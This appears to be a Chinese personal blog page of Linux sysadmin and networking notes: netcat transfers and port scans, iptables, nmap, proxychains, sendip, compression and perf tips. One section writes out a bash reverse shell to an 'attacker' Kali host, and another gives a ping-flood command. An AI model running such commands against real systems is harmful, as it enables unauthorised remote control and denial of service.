如果想主机B传输数据到主机A,也对应正向反向两种,这里只用正向传输举例,反向传输类似

1
2
主机A: nc -l 1234 > xxx.txt
主机B: nc 192.168.10.1 1234 < xxx.txt

文件打包压缩后传输

1
2
A:tar -czvf - testdir/|nc 192.168.10.2 1234
B:nc -l 1234 | pv -q -L 50m | tar -xzi

端口扫描

参数解释:

  • -z扫描模式
  • -u探测udp
  • -v 显示详细信息
  • -n 以数字形式表示的IP地址
1
2
nc -nvz 1.1.1.1 1-65535
nc -nvzu 1.1.1.1 1-1024

远程控制(反弹shell)

受害者主机主动连接攻击者的服务端程序,将自己的bash权限交给攻击者
受害者:
Ubuntu Linux ——> 192.168.146.128
攻击者:
Kali Linux ——> 192.168.146.129

1
2
攻击者机器: nc -lvp 2333
被攻击者: bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

Linux 反弹shell(二)反弹shell的本质

远程硬盘克隆(块级别拷贝)

1
2
A:nc -lp 333| dd of=/dev/sda
B:dd if=/dev/sda|nc -nv 1.1.1.1 333

异常模拟

iptables

service iptables status
service iptables start
iptables -I FORWARD -p tcp –dport 3306 -j DROP
iptables -I FORWARD -p tcp –dport 3306 -j ACCEPT
1、iptables -L
查看filter表的iptables规则,包括所有的链。filter表包含INPUT、OUTPUT、FORWARD三个规则链。
说明:-L是–list的简写,作用是列出规则。
2、iptables -L [-t 表名]
只查看某个表的中的规则。
说明:表名一共有三个:filter,nat,mangle,如果没有指定表名,则默认查看filter表的规则列表(就相当于第一条命令)。
举例:iptables -L -t filter

tc

在某些情况下,我们需要模拟网络很差的状态来测试软件能够正常工作,比如网络延迟、丢包、乱序、重复等

https://www.hi-linux.com/posts/35699.html

killcx

Linux环境下切断tcp连接,google搜索关键字:“close””tcp connection””linus”,开发调试的时候,为了模拟意外情况,需要在不影响服务进程的情况下单独 切断tcp连接,即 强制断开tcp连接。不能使用iptables,因为iptables的禁用对已经建立的tcp连接无效(这是由tcp的机制决定的)

Centos安装

1
2
3
4
wget http://ftp.tu-chemnitz.de/pub/linux/dag/redhat/el6/en/x86_64/rpmforge/RPMS/perl-Net-RawIP-0.25-1.el6.rf.x86_64.rpm
rpm -ivh perl-Net-RawIP-0.25-1.el6.rf.x86_64.rpm
yum -y install perl-Net-Pcap.x86_64
yum -y install perl-NetPacket.noarch

使用

perl killcx 127.0.0.1:1234 lo

参考文档

切断tcp连接,在linux环境下
Killcx : close a TCP connection (for Linux)

网络安全

ping

死亡ping

1
2
# 每0.01秒给192.168.10.147发送一个大小65500字节的icmp包
ping 192.168.10.147 -i 0.01 -s 65500

发送指定个数icmp数据包

ping -c 3(ping3次) -q(不打出输出信息) www.baidu.com(网址)

fping

hping3

arping

nmap

安装

1
2
3
4
5
6
7

bzip2 -cd nmap-7.60.tar.bz2 | tar xvf -
cd nmap-7.60
./configure
make
su root
make install

安装

其他

【渗透神器系列】nmap

扫描局域网内ip地址:

nmap -sP 本地IP/24

nmap -F -sT -v www.quar.com

代理转发

proxychains

proxychains

  • 安装
    https://blog.csdn.net/weixin_42135399/article/details/82706083
  • 测试:
    1
    2
    curl https://www.google.com/
    proxychains curl https://www.google.com/

ssh

实用socket5代理请求
ssh -qtfnN -D 127.0.0.1:1080 root@192.168.10.1
ssh命令的三项代理功能

-q
Quiet mode. Causes most warning and diagnostic messages to be suppressed.
-T
Disable pseudo-terminal allocation.
-D
[bind_address:]port]
-f
Requests ssh to go to background just before command execution. This is useful if ssh is going to ask for passwords or passphrases, but the user wants it in the background. This implies -n. The recommended way to start X11 pro-grams at a remote site is with something like ssh -f host xterm.If the ExitOnForwardFailure configuration option is set to ``yes’’, then a client started with -f will wait for all remote port forwards to be successfully established before placing itself in the background
-n
Redirects stdin from /dev/null (actually, prevents reading from stdin). This must be used when ssh is run in the background. A common trick is to use this to run X11 programs on a remote machine. For example, ssh -nshadows.cs.hut.fi emacs & will start an emacs on shadows.cs.hut.fi, and the X11 connection will be automatically forwarded over an encrypted channel. The ssh program will be put in the background. (This does not work if ssh needs to ask for a password or passphrase; see also the -f option.)
-N
Do not execute a remote command. This is useful for just forwarding ports.

实用工具

curl

sendip

linux网络IP发包工具

安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# http://www.earth.li/projectpurple/progs/sendip.html
rpm -ivh sendip-2.5-1.i386.rpm
error: Failed dependencies:
    libc.so.6 is needed by sendip-2.5-1.i386
    libc.so.6(GLIBC_2.0) is needed by sendip-2.5-1.i386
    libc.so.6(GLIBC_2.1) is needed by sendip-2.5-1.i386
    libc.so.6(GLIBC_2.1.3) is needed by sendip-2.5-1.i386
    libc.so.6(GLIBC_2.3) is needed by sendip-2.5-1.i386
    libdl.so.2 is needed by sendip-2.5-1.i386
    libdl.so.2(GLIBC_2.0) is needed by sendip-2.5-1.i386
    libdl.so.2(GLIBC_2.1) is needed by sendip-2.5-1.i386
    libm.so.6 is needed by sendip-2.5-1.i386
需要升级gcc版本
gcc version 4.8.3 (GCC)可以安装

使用

https://blog.csdn.net/freexploit/article/details/503954
https://blog.csdn.net/zh_94/article/details/81660184

注意

  • 不能发送连续的数据包,所以需要配合脚本实现
  • 使用-v查看包是否正常
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    sendip -p ipv4 -is 192.168.1.2 -id 192.168.1.1 -p icmp -d -x89ABCDEF www.baidu.com
    [root@server /tmp]#
    [root@server /tmp]# sendip -v -p ipv4 -is 192.168.1.2 -id 192.168.1.1 -p icmp -d -x89ABCDEF www.baidu.com
    Added 25 options
    Initializing module ipv4
    Initializing module icmp
    Finalizing module icmp
    Finalizing module ipv4
    Final packet data:
    45 00 00 22 E.."
    E5 D2 00 00 ....
    FF 01 52 B4 ..R.
    C0 A8 01 02 ....
    C0 A8 01 01 ....
    08 00 C8 81 ....
    2D 78 38 39 -x89
    41 42 43 44 ABCD
    45 46 EF
    Sent 34 bytes to www.baidu.com
    Freeing module ipv4
    Freeing module icmp

未命名

发表于 2019-12-28
字数统计: | 阅读时长 ≈

#NAS

Ubuntu 安装nas

Docker 和 Docker Compose install
https://www.jianshu.com/p/77a46925006c

sudo docker-compose up -d

mysql install

https://askubuntu.com/questions/364270/mount-error-unknown-filesystem-type-exfat

https://askubuntu.com/questions/771473/mount-cant-find-device-in-etc-fstab/771496

https://github.com/iikira/BaiduPCS-Go/wiki/%E7%BC%96%E8%AF%91-%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91%E5%B8%AE%E5%8A%A9

go get -u -v github.com/iikira/BaiduPCS-Go

自动挂载目录
https://www.cnblogs.com/EasonJim/p/7447000.html

未命名

发表于 2019-12-28
字数统计: | 阅读时长 ≈

vim

快速移动

https://www.cnblogs.com/nerxious/archive/2012/12/21/2827303.html

  • 用z调整光标
    z<Enter> 将光标所在行移动到屏幕顶端
    z. 将光标所在行移动到屏幕中间
    z- 将光标所在行移动到屏幕低端
    980z 快速到980行

vim 快速移动

vim 快速删除

未命名

发表于 2019-12-28
字数统计: | 阅读时长 ≈

linux命令

并行压缩(注意cpu影响)

常用压缩软件的发布:
压缩软件 | 使用的版本 | 第一个版本发布时间 | 最新版本号 | 最新版本发布时间
———|————|——————–|————|———–
gzip | 1.5 | 1992.10.31 | 1.9 | 2018.2.7
pigz | 2.3.4 | | 2.4.0 | 2017.12.26
bzip2 | 1.0.6 | 1996.07.18 | 1.0.6 | 2010.09.20
pbzip2 | 1.1.12 | | 1.1.13 | 2015-12-17
lbzip2 | 2.5 | | 2.5 | 2014-03-26
xz | 5.2.2 | | 5.2.4 | 2018-04-29

pigz作为多线程版本的gzip工具,只支持gzip格式
lbzip2/pbzip2作为多线程版本的bzip2工具,只支持bzip2格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
yum install pzip

压缩:(可以利用到多核cpu,cpu不是问题,非常快)
tar --use-compress-program=pigz -cvpf rmcs_sys.tar.gz rmcs_sys.ful.20190421113500/

16121 root 20 0 1814m 17m 584 S 977.8 0.1 3:40.30 pigz
解压:并没有说的那么快?
tar --use-compress-program=pigz -xvpf rmcs_sys.tar.gz -C rmcs_sys

18025 root 20 0 44024 852 576 R 132.2 0.0 0:24.76 pigz -d rmcs_sys

tar --use-compress-program=pbzip2 -cvpf rmcs_sys.tar.gz rmcs_sys.ful.20190421113500/

27995 root 20 0 1864m 187m 976 S 1386.0 0.6 1:39.94 pbzip2

linux下多线程压缩命令pigz
Linux 下压缩工具比对(gzip,bzip2,xz,pigz,lbzip2)

未命名

发表于 2019-12-28
字数统计: | 阅读时长 ≈

制作启动盘

linux下我是直接使用fdisk去分区的,windows下我使用的是diskgenius,mac下我只能使用diskutil了

mac 下制作启动盘

1
2
3
4
5
6
7
8
9
10
11
12
13
# 卸载磁盘
diskutil umountDisk /dev/disk2
# 擦除数据
# sudo dd if=/dev/zero of=/dev/disk2 bs=1024 count=10
# 对磁盘进行分区,格式化
# diskutil partitionDisk /dev/disk2 MBR FAT32 UNTITLED 0b
diskutil partitionDisk disk2 GPT JHFS+ "My External HD" 0g
# 拷贝系统文件
sudo dd if=kali-linux-2019.1a-amd64.iso of=/dev/disk2 bs=1m
# 查看dd拷贝进度
sudo killall -29 dd
# 弹出磁盘
diskutil eject /dev/disk2

mac os (日志式),mac os(日志式,加密),mac os(区分大小写,日志式,加密),mac os(日志式,区分大小写)

未命名

发表于 2019-12-28
字数统计: | 阅读时长 ≈

备忘录

获取端口实际使用内存大小

1
pid=`netstat -anp|grep -i mysqld|grep LISTEN |grep tcp |grep 3316 |awk '{print $7}' |awk -F'/' '{print $1}'`;ps -e -o 'pid,comm,rsz'|egrep 'mysqld '|grep $pid|awk '{print $3/1024/1024"G"}'

mysql统计io分布

1
pt-ioprofile -p 31306 --run-time=60 --save-samples=./mysql_ioprofile.txt --group-by=filename --cell=count --aggregate=sum

神级命令 perf

首先用top看看,确认是mysqld消耗了cpu然后登陆到MySQL show processlist,看看有没有异常,检查一下threads_running/QPS/TPS有没有显著提高,确认一下是否有慢查询,如果这些都不能帮助你找到问题,就借助神一样的工具perf top,可以看到cpu都用在执行哪个函数了,这样应该可以找到问题原因

1
perf top -p 3774

使用 Perf 优化程序性能

性能工具(特别推荐)

12…8
John Doe

John Doe

78 日志
26 分类
27 标签
© 2019 John Doe | Site words total count:
本站访客数:
|
博客全站共字
|
主题 — NexT.Mist v5.1.4